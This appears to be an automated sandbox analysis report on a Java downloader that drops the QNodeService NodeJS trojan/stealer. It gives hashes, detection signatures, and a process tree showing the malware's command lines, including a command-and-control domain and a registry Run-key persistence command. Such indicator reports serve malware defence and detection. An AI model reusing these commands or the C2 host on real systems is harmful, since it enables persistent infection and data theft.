Resubmissions

19-11-2020 12:24

201119-bqdcdjzgxs 10

Analysis

  • max time kernel
    45s
  • max time network
    135s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    19-11-2020 12:24

General

  • Target

    jar.jar

  • Size

    81KB

  • MD5

    9e8b6710fdd55ad0675295c2c3960732

  • SHA1

    aed08772376bde9f848f335e77e2e3c3c230234d

  • SHA256

    f2fb2d0c469abc0add346ef809ad86e0194400d391a2e5429b8cbeea2711bbad

  • SHA512

    26f94b0b9766e9c244297cbe4af78f1b09087fbe471f099b5a77f5ca76fd5c905ee4d36188af67dbd6dc2c7f8402c882d0d2503a288af277840a1025562eac96

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar C:\Users\Admin\AppData\Local\Temp\jar.jar
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2868
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\08637946.tmp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3744
      • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain tmv2020.zapto.org
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3524
        • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
          C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_eahL7y\boot.js --hub-domain tmv2020.zapto.org
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2652
          • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
            C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_eahL7y\boot.js --hub-domain tmv2020.zapto.org
            5⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1200
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "cf695db1-96d2-45d6-a745-87e554e6cd0d" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:848
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "cf695db1-96d2-45d6-a745-87e554e6cd0d" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
                7⤵
                • Adds Run key to start application
                PID:4032

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\.oracle_jre_usage\90737d32e3aba4b.timestamp

    MD5

    3031a035435f0b9d833559aceedc07c6

    SHA1

    e806e287c7b1324969351d6d7b3aa9903bb053f6

    SHA256

    df480b78ce4f2811ba6849fbc1e892b4cefc4a6e00f616c9157b7b55c5ce088e

    SHA512

    dae7101c4ffc96f8c8f89aaf638253e8199c2973412764e07062e0b75d98cbf0a0d3ef8228b7f14c7ed62e4033e22ce145e451c36b21cc4c2d5cfa6c6349e0d8

  • C:\Users\Admin\AppData\Local\Temp\08637946.tmp

    MD5

    9e8b6710fdd55ad0675295c2c3960732

    SHA1

    aed08772376bde9f848f335e77e2e3c3c230234d

    SHA256

    f2fb2d0c469abc0add346ef809ad86e0194400d391a2e5429b8cbeea2711bbad

    SHA512

    26f94b0b9766e9c244297cbe4af78f1b09087fbe471f099b5a77f5ca76fd5c905ee4d36188af67dbd6dc2c7f8402c882d0d2503a288af277840a1025562eac96

  • C:\Users\Admin\AppData\Local\Temp\_qhub_node_eahL7y\boot.js

    MD5

    3859487feb5152e9d1afc4f8cd320608

    SHA1

    7bf154c9ddf3a71abf15906cdb60773e8ae07b62

    SHA256

    8d19e156776805eb800ad47f85ff36b99b8283b721ebab3d47a16e2ae597fe13

    SHA512

    826a1b3cd08e4652744a975153448288dd31073f60471729b948d7668df8e510fa7b0c6dcd63636043850364bf3cd30c1053349d42d08f8ec7c4a0655188fab8

  • C:\Users\Admin\node-v14.12.0-win-x64\node.exe

    MD5

    f0b11a5823c45fc2664e116dc0323bcb

    SHA1

    612339040c1f927ec62186cd5012f4bb9c53c1b9

    SHA256

    16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

    SHA512

    0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

  • C:\Users\Admin\node-v14.12.0-win-x64\node.exe

    MD5

    f0b11a5823c45fc2664e116dc0323bcb

    SHA1

    612339040c1f927ec62186cd5012f4bb9c53c1b9

    SHA256

    16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

    SHA512

    0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

  • C:\Users\Admin\node-v14.12.0-win-x64\node.exe

    MD5

    f0b11a5823c45fc2664e116dc0323bcb

    SHA1

    612339040c1f927ec62186cd5012f4bb9c53c1b9

    SHA256

    16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

    SHA512

    0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

  • memory/848-180-0x0000000000000000-mapping.dmp

  • memory/1200-179-0x0000010C14700000-0x0000010C14701000-memory.dmp

    Filesize

    4KB

  • memory/1200-177-0x0000000000000000-mapping.dmp

  • memory/2652-173-0x0000000000000000-mapping.dmp

  • memory/2652-175-0x0000032D28D00000-0x0000032D28D01000-memory.dmp

    Filesize

    4KB

  • memory/3524-172-0x0000014395980000-0x0000014395981000-memory.dmp

    Filesize

    4KB

  • memory/3524-169-0x0000000000000000-mapping.dmp

  • memory/3744-53-0x0000000000000000-mapping.dmp

  • memory/4032-181-0x0000000000000000-mapping.dmp